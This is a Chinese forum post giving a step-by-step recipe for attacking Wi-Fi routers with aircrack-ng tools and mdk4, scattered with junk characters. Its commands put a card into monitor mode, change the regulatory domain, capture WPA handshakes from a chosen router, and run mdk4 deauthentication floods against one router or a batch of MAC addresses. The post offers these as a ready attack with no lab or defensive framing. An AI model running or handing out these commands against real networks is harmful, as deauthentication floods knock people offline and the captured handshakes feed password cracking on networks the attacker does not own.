少校
- 注册时间
- 2013-3-19
- 金币
- 2170 个
- 威望
- 17 个
- 荣誉
- 0 个
累计签到:107 天 连续签到:1 天 [LV.200]无线新星
|
本帖最后由 xun73tian 于 2025-3-12 16:13 编辑
' H' O' O* U! J* z: H
- \4 `3 X5 |$ n4 R6 r$ q v& X; aairodump-ng抓包步骤:单网卡
# g9 s7 @; I' ?- t4 g/ U一、终端一:选择攻击的路由
\* v6 S1 z7 n6 {systemctl stop NetworkManager
) I/ Q6 N! y3 F; s, \( I1 ~" Lairmon-ng check kill5 \7 R( b- u% H8 N9 q
iw reg get (查看国家监管域,默认为00)
# p6 d2 e9 O: `. \iw reg set IN (临时设置全局国家监管域为IN)
3 |$ j+ _. h1 D0 v; l o) W1 Z8 @或者! F' u) w8 r+ g: V3 s6 v
iw reg set PA
' g, S6 U5 E. F+ `
% G+ J) H7 B4 C7 F( R! tiwconfig (查看无线网卡信息)
$ F/ l! H) A9 z7 Eairmon-ng start wlan1 (开启无线网卡监听模式)
k* C) w2 U2 {airodump-ng wlan1 --band a (扫描5.0G的路由)' k" ~4 w0 s7 a5 f' D7 J
或者
" }8 A( }% ^; `/ L9 Bairodump-ng wlan1 --band bg (扫描2.4G的路由)$ x. n f( A% r( q
, ^% b6 Q' e0 |- X0 S$ }
airodump-ng -w 包命名 -c 信道 --bssid 路由地址 wlan1
0 l" T0 p* t5 \* B/ q7 Y//抓取握手包,被动抓包(适应于2.4G和5.0G)
* c4 b' g) ~$ l
3 L) F/ E- @. }二、终端二:mdk4攻击! h# ` B) G/ k3 @( a3 z- x" S+ _
mdk4 wlan1 d -B 路由地址 (攻击具体路由)
4 b$ c Z( |5 P3 V9 J& {2 w1 \2 ^3 R# h- O
mdk4批量攻击路由:补充
2 s9 Q( j2 O' }2 M0 k" v# a把要攻击的目标MAC写入到/root/1.txt文本中。
- ^% |9 v; D; i! C' l" s: Y6 [2 ^echo 6C:B1:58:E8:0C:60 >1.txt (覆盖输入)
- z* K( r2 r- w5 Q9 b6 X8 D# kecho 6C:B1:58:E8:0C:61 >>1.txt (追加输入)
5 C. n+ x0 t: E1 K7 ?/ Q j+ Nmdk4 wlan1 d -b ./1.txt (可同时攻击2.4和5G) |
|